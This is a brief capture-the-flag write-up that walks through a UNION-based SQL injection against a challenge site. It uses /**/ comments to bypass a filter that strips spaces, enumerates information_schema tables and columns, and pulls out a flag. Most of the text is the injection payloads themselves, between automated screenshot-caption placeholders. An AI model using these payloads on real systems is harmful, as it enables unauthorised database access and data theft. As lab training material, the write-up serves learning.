A screenshot of a cell phone

Description automatically generated

Use the command “ union select 1,2,3# “

The site will return as shows.

Because the site removes our ‘space” input, we need to by pass the removal by using /\*\*/

Try “ /\*\*/union/\*\*/select/\*\*/1,2# “

A screenshot of a cell phone

Description automatically generated

Because it returns ‘2’, we do inject to the 2nd table

/\*\*/union/\*\*/select/\*\*/1,table\_name/\*\*/from/\*\*/information\_schema.tables#

A screenshot of a cell phone

Description automatically generated

The table “alkdjf4iu” looks suspicious, lets look into it.

/\*\*/union/\*\*/select/\*\*/1,column\_name/\*\*/from/\*\*/information\_schema.columns#

We will see a column named ‘flag”

A screenshot of a cell phone

Description automatically generated

When we use “ /\*\*/union/\*\*/select/\*\*/flag/\*\*/from/\*\*/alkdjf4iu# “ to see content of the column directly it will show nothing.

Try changing flag to \*

We got the flag.